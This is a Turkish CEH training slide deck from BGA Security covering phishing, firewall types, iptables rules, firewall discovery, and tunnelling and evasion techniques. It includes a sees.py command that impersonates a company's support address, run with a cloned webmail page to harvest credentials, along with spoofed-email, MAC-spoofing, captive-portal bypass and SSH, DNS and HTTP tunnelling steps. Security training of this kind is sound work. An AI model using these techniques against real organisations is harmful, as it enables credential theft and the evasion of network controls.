2. @BGASecurity
BGA Bilgi Güvenliği A.Ş
BGA Security Hakkında
Siber güvenlik dünyasına yönelik, yenilikçi
profesyonel çözümleri ile katkıda bulunmak
amacı ile 2008 yılında kurulan BGA Bilgi
Güvenliği A.Ş. stratejik siber güvenlik
danışmanlığı ve güvenlik eğitimleri konularında
büyük ölçekli çok sayıda kuruma hizmet
vermektedir.
Gerçekleştirdiği vizyoner danışmanlık projeleri
ve nitelikli eğitimleri ile sektörde saygın bir yer
kazanan BGA Bilgi Güvenliği, kurulduğu günden
bugüne kadar alanında lider finans, enerji,
telekom ve kamu kuruluşları ile 1.000'den fazla
eğitim ve danışmanlık projelerine imza
atmıştır.
ARGE
EĞİTİM
MSSP
PENTEST
SOME / SOC
SECOPS
BGA | Hakkında
4. BGA | CEH
@BGASecurity
Sosyal Mühendislik
İnsan kandırma sanatı, oltalama saldırısı, ikna edici bir eposta
veya telefon ile bilgi alma yöntemi.
En can alıcı saldırı yöntemi
Saldırgan için gerçekleştirmesi kolay, kurban için etkisi ve
maliyeti çok yüksek
8. BGA | CEH
@BGASecurity
Emkei.cz Üzerinden Sahte Eposta
Emkei.cz web uygulaması üzerinden
sahte epostalar göndermek mümkündür.
9. BGA | CEH
@BGASecurity
Sees.py ile sosyal mühendislik
Kurum webmail sayfası httrack ile kopyalanır.
Kullanıcı girişi yaptığı takdirde kullanıcı adı ve parolası alınarak
gerçek webmail sayfasına redirect edilir.
python sees.py --from="by-destek@kurum.com.tr" --user="Bilgi
Yonetimi Dairesi" --subject="Yeni E-posta Sistemine Gecis Hk." --
list_user_email=test-mailler.txt --data_email=kurum.html --
config=config
11. BGA | CEH
@BGASecurity
Klasik Güvenlik Anlayışı
Tümden savunma!
Ürün temelli bir güvenlik anlayışı
Ürün= sihirbaz bakış açısı(bilgi-sayar)
Türkiye’ye özel değil tüm dünya için geçerli
Teknik sorunlar teknik yollarla çözülür, insani sorunlar insanla
çözülür
Temel bilgi sahibi olmadan ileri seviye işler yapmaya çalışma
TCP/IP bilmeden Firewall/IPS yönetmek
İngilizce bilmeden şarkı söylemeye çalışmak!
12. BGA | CEH
@BGASecurity
Kullanılan Siber Savunma Sistem ve Yazılımları
Firewall (Güvenlik Duvarı)
IDS/IPS (Saldırı Tespit ve Engelleme Sistemi)
WAF (Web Application Firewall)
DoS/DDoS Engelleme Sistemleri
Anti-Virüs/Anti-Spam
DLP (Data Leakage Prevention)
Log ve Monitoring Sistemleri
İnsan
13. BGA | CEH
@BGASecurity
Siber Savunma Sistemlerinin Başarı Oranları
Siber savunma sistemleri klasik, bilinen saldırıları engellemek için
konumlandırılmaktadır.
Reklamı yapıldığı gibi savunma sistemleri gercek bir “0 day” yakalama
başarısını sağlayamaz.
Konumlandırılan ürünler sizin bilginiz ve ürüne hakimiyetiniz kadar efektif
çözüm sunar.
Tüm siber savunma sistemleri internetten öğrenilebilecek yöntem ve araçlarla
atlatılabilmektedir.
14. BGA | CEH
@BGASecurity
Güvenlik Duvarı / Firewall
En temel amacı ağlar arası yalıtımdır.
İç ağdan internete/DMZ’e doğru yapılan erişimler ve internetten DMZ/yerel ağa
erişimlerde kontrol sağlamak amaçlı kullanılır.
Port, IP bazlı erişim kontrol listesi yazılabilir.
Yeni nesil Firewall sistemleri içerik kontrolü, port kontrolü de yapabilir.
15. BGA | CEH
@BGASecurity
Firewall Kavramı
Temel amaç ağlar arası sınır oluşturmak ve ağlar
arası geçişi kısıtlama, yetkilendirme.
Tarihi:
Ahşap evli mahallelerde çıkan yangınların diğer
mahallelere sıçramaması için yapılan duvara verilen isim.
Günümüz Firewall
kavramı çok daha
fazlasını içerir.
16. BGA | CEH
@BGASecurity
Firewall Ne Yapar
Gelen-giden paketler üzerinde filtreleme
Kaynak IP Adresine göre
Hedef IP Adresine göre
Port numarasına göre
Kullanıcı adına göre
Bozuk paketleri eler
Ağ adres çevrimi yapar(NAT)
Ağlar arası routing(yönlendirme) işlemini sağlar
Paket kaydı/loglama gerçekleştirir
17. BGA | CEH
@BGASecurity
Firewall Ne Yap(a)maz
İçeriği göre paket filtreleyemez
İstisnalar mevcuttur(Uygulama seviyesi güvenlik duvarı)
Yerel ağlarda bilgisayarlar arası iletişimde söz sahibi değildir
Üzerinden geçmeyen trafiği filtreleyemez
Eksik/Yanlış yapılandırıldığında varolan özellikleri tam
kullanılamaz
Anormallikleri tespit edemez
19. BGA | CEH
@BGASecurity
Paket Filtering Firewall
1. nesil güvenlik duvarı
Erişim kontrol listeleri(ACL) kullanılır
Kaynak/hedef IP, kaynak/hedef porta göre filtreleme yapar
Ağ katmanında çalışırlar
Durum tutma özellikleri yoktur
Günümüzde tercih edilmemektedir
Günümüz routerlarının ACL mantığına benzer
20. BGA | CEH
@BGASecurity
Proxy Server
Circuit Level ve Application Level olmak üzere iki çeşittir
Kaynak ile hedef arasına girer ve paket yapısında değişikliğe
sebep olur
Application level
HTTP Proxy
Circuit Level
Socks proxy
21. BGA | CEH
@BGASecurity
Socks
Circuit level Firewall(Proxy )
İstemcilerin socks desteğinin olması gerekir
Socks desteği olmayan yazılımlar için wrapper
kullanılabilir(Linux için tsocks)
Yetkilendirme özelliği vardır
Genellikle internet erişimi vermede kullanılır
22. BGA | CEH
@BGASecurity
Statefull Firewall
Gelen giden her pakete ait bir durum tablosu tutulur
Gelen paketler firewall kurallarına uğramadan durum
tablosundan kontrol edilir
Eğer daha önceki bir pakete aitse izin verilir
Yeni bir bağlantı isteğiyse kural tablosuna uğratılır
Günümüzde yoğun olarak tercih edilmektedir
23. BGA | CEH
@BGASecurity
Bastion Host
Sıkılaştırılmış sistemlere verilen addır
Firewall’un üzerine kurularak yapılandırıldığı sistemlerdir
Güvenlik duvarı aktif Windows sistemler
Güvenlik duvarı aktif(iptables) Linux sistemler
24. BGA | CEH
@BGASecurity
Firewall Çeşitleri-II
Yazılım tabanlı Firewall ürünleri
Donanım tabanlı firewall ürünleri
Genelde pazarlamacılar tarafından kullanılır
Her iki durumda da güvenlik duvarı işlevini yazılım gerçekleştirir.
Aralarındaki temel fark performans ve esnekliktir.
25. BGA | CEH
@BGASecurity
Yazılım tabanlı Firewall
Güvenlik duvarı işlevini yazılımsal olarak yapar
Mutlaka bir donanıma ihtiyaç duyar
Donanım tabanlı GD’den farkı intel/amd işlemcilerde çalışma esnekliği
Windows Firewall, Linux Iptables, FreeBSD IPFW
OpenBSD Packet Filter, freeBSD IPF,Checkpoint
26. BGA | CEH
@BGASecurity
Donanım Tabalı Firewall
ASIC, FPGA mimarisine sahip olurlar
Klasik güvenlik duvarlarından tek farkı işlem gücüdür
27. BGA | CEH
@BGASecurity
DMZ
Askeri bir terim: Arındırılmış bölge
Hem iç hem de dış ağdan korunacak sistemlerin koyulduğu mantıksal mekan
DMZ çeşitleri
28. BGA | CEH
@BGASecurity
DMZ İçin Firewall Kullanımı
DMZ ayrımı için temelde iki farklı yöntem kullanılır
Birden fazla Firewall kullanımı
3,4 arabirime sahip tek bir Firewall kullanımı
29. BGA | CEH
@BGASecurity
Adres Çözümleme
Her firewall üreticisi adres çevrimi için farklı adlandırmalar kullanır
Nat, pat, binat, rdr, dnat, snat, masq
Nat:Ağ adres çevirimi
Statik ve dinamik olmak üzere iki çeşittir
PAT:Port adres çevirimi
Hedef port ve ip adresini değiştirir
30. BGA | CEH
@BGASecurity
NAT
IP adresi yetersizliğine çözüm olmak amacıyla ve ek güvenlik
sağlama amacıyla geliştirilmiştir
Birden fazla ip adresi tek bir ip adresi alarak internete çıkarılır
Durum tablosu gibi NAT tablosu tutulur
RFC 1918 NAT için kullanılacak private ip bloklarını belirlemiştir
32. BGA | CEH
@BGASecurity
NAT Sorunlu Protokoller
Bazı protokoller NAT/PAT ile sağlıklı çalışamaz
IPSEC Vpn, H323, FTP, IRC
Ipsec için NAT-T geliştirilmiştir
FTP:
Aktif ve Pasif olmak üzere iki çeşittir
En sık yaşanan Firewall problemleri FTP ile ilgilidir
34. BGA | CEH
@BGASecurity
Loglama
Firewall’un en önemli özelliklerinden biridir
Genellikle sorun esnasında hatırlanır
Hangi paketin hangi kuraldan dolayı engellendiği ya da geçirildiğini gösterir
Tüm kurallarda loglama açılmamalıdır
DOS saldırısına karşı önlem(syn flood loglaması)
Loglar anlaşılır olmalı ve merkezi log sistmelerine yönlendirilebilmelidir
Syslog vs üzerinden
35. BGA | CEH
@BGASecurity
Firewall Logları
Ne zaman, hangi IP/port hangi IP/port’a gitmeye çalışırken
Engellendi
İzin verildi
36. BGA | CEH
@BGASecurity
Firewall Loglama Süreci
Bağlantı başlangıç paketlerini loglar mı?
Oturum kurulduktan sonra mı loglamaya başlanır?
Her iki durumun avantaj ve dezavantajları
Syn flood vs saldırılarında firewall loglamayla uğraşmaktan cevap veremez
duruma düşebilir
Yapılan port taramaları gözden kaçabilir
Anormal paketler loglanır mı?
FIN scan
ACK scan
37. BGA | CEH
@BGASecurity
Firewall Ürünleri
Açık kaynak kod güvenlik duvarı yazılımları
OpenBSD PF
Pfsense, M0n0wall
Linux iptables
Endian Firewall
Ticari
Cisco, Netscreen, CheckPoint, Fortigate...
39. BGA | CEH
@BGASecurity
Linux Iptables
Linux işletim sistemi için güvenlik duvarı uygulaması
Günümüz şirketlerinin ihtiyaç duyacağı çoğu firewall özelliğini
destekler
Komut satırından yönetim
Grafik arabirim ve web arabirim üzerinden yönetim araçları
40. BGA | CEH
@BGASecurity
Iptables Çalışma Mantığı
Iptables paketlere sanal zincir mantığını uygular
Yani Firewall’a gelen her paket hedefine göre çeşitli zincilerden
geçmek zorundadır
Firewall esnekliği için güzel fakat yönetim için anlaşılması çok
kolay olmayan bir yapı
41. BGA | CEH
@BGASecurity
Iptables Zincir mantığı
Paketin durumuna göre
Filter(default zincir)
NAT
Mangle
Zincirleri bulunmaktadır.
Firewall’a gelen her paket bu zincirlerden birine ya da birkaçına
uğrar
iptables –t nat ... Şeklinde kullanılır
42. BGA | CEH
@BGASecurity
Iptables Firewall Yapısı
Iptables paketlere iki farklı açıdan bakar
Firewall makinesine gelen/giden paketler
▪ Filtering
Firewall makinesinden geçen paketler
▪ NAT/PAT
44. BGA | CEH
@BGASecurity
Iptables Kural Yazımı
Firewall kuralları doğrudan konsola yazılır
iptables ... ile başlar
Önce yazılan kural geçerlidir(-A ile başlarsa)
-I ile kuralı başa ya da orta sıralara sokabiliriz
45. BGA | CEH
@BGASecurity
Kural Aksiyon Seçenekleri
Bir paket ile ilgili üç çeşit aksiyon alınabilir:
Kabul edilir -> ACCEPT aksiyonu
Engellenebilir ->DROP aksiyonu
Engellenebilir ve geriye cevap dönülür -> REJECT
Loglanabilir -> -j LOG --log-prefix "string“
Kurallarda ilk uyan kazanır!
Önce izin ver sonra bloklama varsa pakete izin verilir.
46. BGA | CEH
@BGASecurity
Örnek Iptables Kuralı
iptables -A INPUT -s 192.168.1.10 -d 10.1.15.1 -p tcp --dport 22 -j ACCEPT
-A paketin input zincirine gelirse
-s 192.168.1.10 adresinden geirse
-d 10.1.15.1 ip adresine gidiyorsa
-p tcp TCP ise
--dport 22 hedef port 22 ise
-j ACCEPT paketi kabul et.
47. BGA | CEH
@BGASecurity
Örnek Kurallar
Bir IP adresini yasaklama
iptables -A INPUT -s 172.34.5.8 -j DROP
Firewall'un arkasına geçecekse
iptables -A FORWARD -s 172.34.5.8 -j DROP
Bir IP’den icmp kabul etme
iptables -A INPUT -d 10.1.15.1 -p icmp -j ACCEPT
iptables -A FORWARD -s 0/0 -i eth0 -d 192.168.1.58 -o eth1 -p TCP
--sport 1024:65535 --dport 80 -j ACCEPT
48. BGA | CEH
@BGASecurity
Örnek Kurallar-II
ICMP tipi ve koduna göre filtreleme
iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-reply -j ACCEPT
Basit DOS koruması
iptables -A INPUT -p tcp --syn -m limit --limit 5/s -i eth0 -j ACCEPT
49. BGA | CEH
@BGASecurity
Drop Policy
Açıkca izin verilmeyen tüm istekler yasaklanmalı!!
iptables ile
iptables -P INPUT -j DROP
iptables -P OUTPUT -j DROP
iptables -P FORWARD -j DROP
55. BGA | CEH
@BGASecurity
Firewall Keşfi
TCP RFC’ göre TCP portları gelen SYN paketine
Port açıksa SYN-ACK
Port kapalıysa RST dönülür
Firewall’lar genelde RST paketi dönmez(yapılandırmayla değiştirilebilir)
ACK, FIN gibi paketlere Firewall cevap dönmez
Herhangi üç porta gönderilecek SYN, FIN paketi hedef sistem
önünde Firewall var yok belli eder.
56. BGA | CEH
@BGASecurity
Firewall Tipi Belirleme
Her Firewall üreticisinin eklediği biricik özellikler
Checkpoint açık portlar
Netscreen default syncookie
Nmap ile işletim sistemi belirleme
Checkpoint = Linux
Cisco ?
ScreenOS
…
57. BGA | CEH
@BGASecurity
Sıradan Bir Güvenlik Duvarı
Durum Korumasız Güvenlik Duvarı (Non stateful Firewall)
•Kaynak IP Adresi
•Kaynak Port numarası
•Hedef IP Adresi
•Hedef Port Numarası
58. BGA | CEH
@BGASecurity
Durum Korumalı Güvenlik Duvarları
Durum Korumalı Güvenlik Duvarı(stateful Firewall)
•Kaynak IP Adresi
•Kaynak Port numarası
•Hedef IP Adresi
•Hedef Port Numarası
•Oturum Bilgisi
Oturum başlatan kim?
Gelen paket hangi oturuma
ait?
TCP Bayrakları bağlantı
aşamasına uygun mu?..
59. BGA | CEH
@BGASecurity
Firewall Çalışma Mantığı
Ağlar arası erişim kontrolü amacıyla kullanılır
Port ve IP Bazlı çalışır
192.168.1.2 ANY TCP Port 80
192.168.9.0/24 ANY UDP 53
İçeriği denetleyemez(?)
Bazı Firewalllar L7(içeriği göre de engelleme yapabilir)
Bazı Firewalllar MAC adresine göre filtreleme yapabilir
Hesap bilgilerine göre filtreleme özelliği –Active Directory, LDAP
60. BGA | CEH
@BGASecurity
Güvenlik Duvarları Nasıl Engelleme Yapar?
Güvenlik Duvarları genelde iki tip engelleme yöntemi kullanır
DROP
REJECT
DROP: Gelen/giden paketi engelle ve geriye herhangi bir mesaj
dönme
REJECT:Gelen/giden paketi engelle ve geriye TCP RST/UDP Port
Ulaşılamaz gibi bir mesaj dön
61. BGA | CEH
@BGASecurity
Güvenlik Duvarı Engelleme Politikası
Silent Drop
Kaynağa RST vs
paketi dönülmez
Kaynağa RST
paketi dönülür
62. BGA | CEH
@BGASecurity
Güvenlik Duvarı Keşif Çalışmaları
TCP RFC’e göre bir porta SYN bayraklı paket gönderildiğinde
ACK-SYN döner
RST döner
Cevap dönmezse?
Herhangi üç porta gönderilecek TCP paketleriyle Firewall
var/yok anlaşılabilir
Çeşitli TCP portlara yönelik tcptraceroute çalışmaları
#nmap firewall_ip adresi
65. BGA | CEH
@BGASecurity
TTL Değerlerinden Firewall Keşfi
IP başlığındaki TTL değeri bir paketin yaşam süresini belirler
Bir paket L3 routing işlemi yapan bir cihaza rastgeldiğinde TTL
değeri bir düşürülür.
Farklı sistemler farklı TTL değerlerine sahip olabilir.
Mesela Linux sistemler paket oluştururken TTL değerini 64 yaparak
gönderir
Microsoft Windows ise 128 değerini kullanır.
66. BGA | CEH
@BGASecurity
TTL Üzerinden Firewall Keşfi
TTL değerleri incelenerek hedef sistem önünde güvenlik duvarı olup olmadığı anlaşılabilir.
root@seclabs:~# hping -p 80 -S 65.55.21.250 -c 1
HPING 65.55.21.250 (eth0 65.55.21.250): S set, 40 headers + 0 data bytes
len=46 ip=65.55.21.250 ttl=48id=6920 sport=80 flags=SA seq=0 win=512 rtt=152.0
ms
— 65.55.21.250 hping statistic —
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 152.0/152.0/152.0 ms
root@seclabs:~# hping -p 80 -F 65.55.21.250 -c 1
HPING 65.55.21.250 (eth0 65.55.21.250): F set, 40 headers + 0 data bytes
len=46 ip=65.55.21.250 ttl=239 DF id=23184 sport=80 flags=RA seq=0 win=8201
rtt=249.9 ms
— 65.55.21.250 hping statistic —
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 249.9/249.9/249.9 ms
65.55.21.250=microsoft.com
67. BGA | CEH
@BGASecurity
Güvenlik Duvarları Nasıl Aşılır?
Güvenlik duvarları paketlerin içeriğine bakmaz(L7 firewallar hariç)
Tünelleme yöntemleriyle güvenlik duvarları rahatlıkla aşılabilir
Bir port, bir protokol açıksa tüm portlar ve protokoller açıktır ilkesi!
Internetten indirilecek kurulum gerektirmeyen basit araçlar
kullanılarak tüm Firewall’lar aşılabilir(?)
Çalışanların %25’i Güvenlik duvarlarını aşarak işlem yapmaktadır
68. BGA | CEH
@BGASecurity
Firewall Atlatma (İç Ağdan Internete)
Genellikle kurumsal ağlarda istemci sistemler internete doğrudan erişim
hakkına sahip değildir.
HTTP ve HTTPS istekleri Proxy, içerik filtreleme sistemleri üzerinden işlenir.
HTTP ve HTTPS üzerinden tünelleme yapılarak güvenlik duvarları atlatılabilir.
Httptunnel, Webtunnel uygulaması
DNS Tünelleme kullanılarak doğrudan internetteki bir sisteme VPN yapılabilir.
Webtunnel kullanarak HTTP istekleri ile sınırsız erişim yapılabilir.
70. BGA | CEH
@BGASecurity
Güvenlik Duvarı Atlatma Teknikleri
Bilinen yöntemler
IP Değiştirme
MAC değiştirme
ARP Spoofing
Tünelleme
▪ SSH tünelleme
▪ ICMP Tünelleme
▪ DNS Tünelleme
▪ SMTP Tünelleme
▪ HTTP Tünelleme
71. BGA | CEH
@BGASecurity
Mac Adresine Göre Yetkilendirme
Mac adresine göre yetkilendirme yapan sistemler
Wireless Access Point
Firewall kuralları
Mac adres filtreleme destekli Firewall: Linux ebtables
72. BGA | CEH
@BGASecurity
Mac Adress Spoofing
Mac adresleri kolaylıkla değiştirilebilir
“Kablosuz ağlarda MAC adresleri saklanamaz”
Ağa dahil birisinin mac adresi her durumda gözükecektir.
macchanger, ifconfig , Windows
Port Taramalarında şaşırtma için MAC adresi değiştirilebilir
Yerel ağlarda & nmap mac spoofing
73. BGA | CEH
@BGASecurity
Captive Portal Atlatma
Captive portal kullanan ortamlarda Mac filter uygulanıyorsa elde edilen geçerli
bir MAC ile captive portal atlatma
Client MAC adreslerini görüntülemek için kablolu ağlarda
root@kali:~# nbtscan -r 192.168.200.0/24
Bunun dışında arp-scan aracı da MAC tespiti için kullanılabilir.
arp-scan - - interface=eth0 - - localnet
arp-scan - - file=hosts.txt
Kablosuz ağlarda airodump-nb, wifite
75. BGA | CEH
@BGASecurity
Ip Spoofing
Bir ağda aynı adrese sahip iki IP olamaz
Olursa ne olur?
IP Adresi değiştirmek kolaydır
ifconfig eth0 1.1.1.2
Yerel Ağlarda Tehlikeli
Internet üzerinde pratikte imkansız gibi
DDOs saldırıları için sık kullanılır
UDP için işe yarar, TCP için çok zor.
76. BGA | CEH
@BGASecurity
Firewall Atlatma: SSH Tünelleme
Genelikle güvenlik duvarlarında kullanıcılara 80/443. portlara erişime hak verilmiştir
Internette 443. porttan SSH çalıştıran çeşitli ücretsiz SSH servisi veren sistemler
bulunmaktadır
SSH Socks proxy desteğine sahiptir
ssh –D hedef.sistem.com –p 443 –l bgaegitim
77. BGA | CEH
@BGASecurity
Firewall Atlatma: Ultrasurf
Ultrasurf: Antisansür programı
Engellemesi en zor yazılımlardan
Kurulum gerektirmez, IP adresi engelleyerek engellenemez…
78. BGA | CEH
@BGASecurity
Firewall Atlatma: OpenVPN
OpenVPN: UDP ve TCP üzerinden istenilen portda çalıştırılabilen SSL VPN
uygulaması
Evdeki bilgisayara OpenVPN kurup dışarı 53 UDP ve TCP/443(HTTPS)
bağlantıları açılır
Tüm trafik UDP/53 üzerinden
akacaktır!
81. BGA | CEH
@BGASecurity
NGFW & L7 Firewall
Uygulama katmanında işlem yapar
Paketlerin sadece ip ve port bileşenlerine değil içeriğine de bakar
İçerisinde /etc/passwd geçiyorsa engelle gibi!
#iptables –A INPUT –p tcp –dport 80 –m string –algo bm –string /etc/passwd –j
REJECT
Gibi
Yeni nesil güvenlik duvarları protokol bilgisine göre port bağımsız engelleme de
yapabilmektedir.
Palo Alto gibi
82. BGA | CEH
@BGASecurity
L7 Firewall Atlatma
SSL kullanılarak L7 firewallar atlatılabilir
Çeşitli encoding teknikleri kullanılarak L7 firewallar atlatılabilir
Çeşitli ip parçalama teknikleri kullanılarak L7 firewallar atlatılabilir
83. BGA | CEH
@BGASecurity
Yeni Nesil Firewall Atlatma - WebTunnel
• Normal HTTP istekleri kullanarak TCP protokollerini tünelleme.
%100 HTTP uyumlu olduğu için Yeni nesil güvenlik duvarları dahil
engelleme yapamamaktadır.
84. BGA | CEH
@BGASecurity
DNS Tünelleme
Amaç sadece yerel ağ dns sunucusuna erişimi olan iç ağ
kullanıcısının bu DNS sunucuyu aracı olarak kullanarak internete
paket gönderip alabilmesi.
Özellikle kapalı networklerden dışarı çıkış için tek yolun DNS
olduğu durumlarda vazgeçilmez tünelleme yöntemidir.
Günümüzde çoğu ağ – özellikle ticari Wifi sistemler- bu yönteme
karşı korumasızdır.
86. BGA | CEH
@BGASecurity
Amaç
Kurumsal iş ortamlarında kullanılan güvenlik duvarı ve içerik
filtreleme sistemlerinin günümüz tehditlerine karşı yetersiz
kaldığının uygulamalı olarak gösterimi
87. BGA | CEH
@BGASecurity
İçerik
TCP/IP ağlarda port/protokol tünelleme
“Tek port/protokol ile sınırsız internet” ilkesi
Genel içerik filtreleme ve güvenlik önlemleri
Protokoller üzerinden tünelleme
TCP/UDP/ICMP
DNS
HTTP/HTTPS
Engelleme yöntemleri
Zararlı yazılımlar ve tünelleme kullanımı
88. BGA | CEH
@BGASecurity
Şirket Politikaları
Şirketler çalışanlarının mesailerini işleri ile ilgili geçirmelerini ister
Yapılan araştırmalar çalışanların mesai saatlerinin %21-%33 civarını internette
konumları ile alakasız şekilde geçirdiklerini ortaya koyuyor.
Güvenlik yöneticileri olarak bizler çeşitli yollarla çalışanların internet kullanımını
sınırlarız
Güvenlik Duvarı
Saldırı Engelleme Sistemi
▪ P2p vs
İçerik Filtreleme sistemleri
Proxyler
Kullanıcılar bu kısıtlamaları çeşitli şekilde aşabilirler
Tünelleme
GPRS hattı üzerinden vs
89. BGA | CEH
@BGASecurity
TCP/IP Ağlarda Gizli Kanallar ve Tünelleme
Amaç dışarı sızdırılacak veriyi gizleme veya içerik filtreleme
sistemlerini atlatma.
Gizli kanallar ve tünelleme sistemleri pentest çalışmalarında
sık tercih edilen yöntemlerdendir.
Genellikle dışarda ek bir sunucuya ihtiyaç duyar
Günümüz güvenlik sistemleri tünelleme ve gizli kanallar
karşısında yetersiz kalmaktadır.
90. BGA | CEH
@BGASecurity
“Tek Port Açıksa Tüm Portlar Açıktır” İlkesi
TCP/IP kullanılan bir ağda herhangi yönde bir port(TCP veya
UDP) veya bir protokole(ICMP, TCP, UDP, IP …) izin verilmişse
bu port/protokol kullanılarak diğer tüm port/protokoller
tünellenebilir.
Tünelleme günümüz VPN sistemlerine benzetilebilir.
Tek bir port üzerinden onlarca kullanıcı sistem bağlantı sağlayabilir.
91. BGA | CEH
@BGASecurity
Genel Güvenlik Önlemleri
İç ağ kullanıcıları intrenete çıkarken kontrol noktaları:
Güvenlik duvarı
İçerik filtreleme sistemi
Saldırı tespit ve engelleme sistemi
Kötücül yazılım kontrol, engelleme sistemi
Tüm bu güvenlik önlemleri şifreli trafiği incelemez
Sadece 443. porttan çalışan HTTPS’i inceleyen istisnaları vardır.
92. BGA | CEH
@BGASecurity
TCP Üzerinden Tünelleme Yöntemleri
Dışa doğru herhangi bir TCP portu açıksa
OpenVPN kullanarak doğrudan VPN kurulabilir
Açık port üzerinden SSH tünelleme yapılarak tüm trafik kolayca tünellenebilir
Dışarıdaki bir kullanıcı iç ağa sokulabilir
NAT arkasında olup olmaması farketmez!
Bir portun dışa(internete) doğru açık olup olmadığı nasıl anlaşılır?
93. BGA | CEH
@BGASecurity
TCP Portu Denetleme
Hping & tcpdump kullanarak herhangi bir porta yönelik filtreleme kuralı
olup olmadığı belirlenebilir
Eğer filtreleme yoksa hedef sistemden SYN-ACK paketleri dönmeli
Filtreleme varsa RST paketi dönmeli veya herhangi bir paket dönmemeli
94. BGA | CEH
@BGASecurity
UDP Üzerinden Tünelleme Yöntemleri
Genellikle UDP 53(dns), UDP 500(IKE) portu dışa doğru açık unutulur.
Herhangi bir UDP portu açıksa OpenVPN kullanarak tüm trafik sınırsız bir şekilde
tünel içerisinden dışarı çıkarılabilir.
Kullanmak için admin hakları gerektirir.
Dışarıda bir adet openvpn sunucu ihtiyacı vardır
Ücretsiz openvpn hizmeti sunan yerler
95. BGA | CEH
@BGASecurity
UDP Tünelleme
Dışarı doğru UDP portunun açık olduğu nasıl anlaşılır?
Genel bir yöntem yoktur.
Spesifik protokoller için çeşitli yöntemler denenebilir
Dışarı doğru UDP/53 portunun açık olup olmadığının kontrolü
Nslookup
Server=8.8.8.8
>www.google.com
96. BGA | CEH
@BGASecurity
ICMP Üzerinden Tünelleme Yöntemleri
ICMP genellikle sorun giderme amaçlı kullanılır
Ping, traceroute vs.
Özellikle otel vs gibi ücretli internet hizmeti sunan yerlerde dışa doğru ICMP
echo request paketlerine yetkisiz izin verilir
ICMP tünelleme kullanılarak tüm trafik bu protokol üzerinden tünellebilir
Dışarıda bir sunucu gerektirir
Engellemesi kolaydır
98. BGA | CEH
@BGASecurity
HTTP tünelleme
Şirketlerde genellikle açık olan tek port
Proxy kontrolünde internet hizmeti verilir
HTTP tünelleme proxy mantığıyla çalışır(HTTP proxy, SOCKS proxy)
Internette ücretsiz hizmet veren binlerce socks/http proxy adresi
bulunabilir
HTTP portu açıksa diğer tüm portlar HTTP üzerinden tünellenebilir
99. BGA | CEH
@BGASecurity
WebTunnel
HTTP tünelleme yazılımları IPS ve NGX Firewallar
tarafından yakalanabilir
HTTP ve HTTPS üzerinden kullanılabilir
Aradaki engelleme cihazlarına normal HTTP istekleri gibi
gözükeceği için yakalanma riski düşüktür
100. BGA | CEH
@BGASecurity
Webtunnel Çalışma Yapısı
Webtunnel iki adet perl scriptinden oluşmaktadır
Sunucu scripti:Sunucu üzerinde cgi-bin dizinine yerleştirilir tünelin ucunda bizi
internete çıkaracak bileşendir
İstemci scripti: Sunucudaki cgi-bin dizinindeki scripte bağlanıp bizim isteklerimizi
tünelleyecek bileşen
perl wtc.pl tcp://localhost:8080 tcp://vpn.egitimlabs.net:22
http://WEB_SUNUCU/cgi-bin/wts.pl
localhost’un 8080 portu artık vpn.egitimlabs.net’in 22 .portuna tünnel
aracılığıyla bağlanmış oldu.
101. BGA | CEH
@BGASecurity
WebTunnel Trafiği İzleme
Webtunnel trafiğini izleyen bir
sistem yandaki logları
görecektir.
IPS vs tarafından engellemek
için doğrudan uygulamayı
tanıyan imza yazılması gerekir
Webtunnel bilinen IPS
ürünleri tarafından
tanınmıyor
102. BGA | CEH
@BGASecurity
Kontrolsüz Port/Protokol:HTTPS
Kurumsal ortamlarda içerik filtreleme amaçlı çalışan yazılımlar
genellikle 443. portu incelemezler
HTTPS portunu incelemenin iki temel yolu vardır:
HTTPS trafiğini proxy üzerinden çıkarmak
HTTPS trafiğinin içeriğini okuyarak(SSL MITM) filtreleme yapmak
103. BGA | CEH
@BGASecurity
Proxy ile HTTPS’i Kontrol Etmek
Kullanıcı browser’ina ayar girilerek tüm HTTP/HTTPS trafiği proxy
üzerinden çıkarılabilir
Bu durumda kullanıcının
Bağlantı kurmak istediği uç noktalar IP adresi veya alan adı(abc.google.com)
proxy tarafından görülebilir ve engellenebilir
▪ HTTP Connect metodu kullanılır
Kullanıcının HTTPS trafiği içerisinde gönderip aldığı veriler proxy
tarafından bilinmez.
104. BGA | CEH
@BGASecurity
SSH Tünelleme
SSH ile neler yapılabilir:
Uzaktaki bir sistem
İç ağdaki bir makine internete açılabilir(firewall kuralı vs gerektirmeksizin)
SSH kullanarak noktadan noktaya VPN kurulumu sağlanabilir
SSH sunucular SOCKS proxy olarak davranabilir
En basit kullanıma sahip tünelleme yöntemlerindendir
Putty+443. portdan çalışan bir SSH sunucusu tüm erişim düzenleyicileri aşabilir.
Engellemesi kolaydır fakat çoğu sistemde hazır olarak SSH tünellemeyi
engelleyecek kural yoktur.
105. BGA | CEH
@BGASecurity
SSH Hakkında Temel Bilgiler
SSH servisi öntanımlı olarak 22/TCP portunda çalışır ve istenirse
değiştirilebilir.
Proxy’ler CONNECT metodu ile http olmayan çeşitli bağlantılara
izin verirler. Mesela HTTPS.
Bunun için genelde Proxy yapılandırmalarında 443 TCP portu
dışarıya doğru açıktır.
SSH protokolü ile Proxy’lerin CONNECT yöntemini kullanarak ssh
sunuculara bağlanılabilir.
106. BGA | CEH
@BGASecurity
Proxy CONNECT Metodu
Proxyler http harici protokolleri destekleyebilmek için
CONNECT yöntemi kullanır.
Bu yöntem ile proxy üzerinden istenilen
sistemlere/servislere izin verildiği oranda bağlanılabilir.
Dış dünyaya açık bırakılan ve kısıtlanmayan proxyler
spammerlarin en sevdigi ortamlardır.
107. BGA | CEH
@BGASecurity
Proxy CONNECT Metodu-II
root@home-fw#telnet 1.1.12.89 3128
Trying 1.1.12.89...
Connected to 1.1.1.89.
Escape character is '^]'.
CONNECT 194.27.72.88:23 HTTP/1.0
HTTP/1.0 200 Connection established
OpenBSD/i386 (openbsd.huzeyfe.net) (ttyp2)
User not authenticated. Using plaintext username and password
login: huzeyfe
Password:
Last login: Fri Mar 24 14:28:16 on ttyp1 from 22.15.22.9
OpenBSD (GENERIC) #59: Fri Sep 17 12:32:57 MDT
Welcome to OpenBSD: The proactively secure Unix-like operating system
Connect methodu ile port kısıtlaması olmayan bir Proxy üzerinden telnet
kullanımı.
108. BGA | CEH
@BGASecurity
SSH ile Proxy Tünelleme
SSH sunucu Seçimi
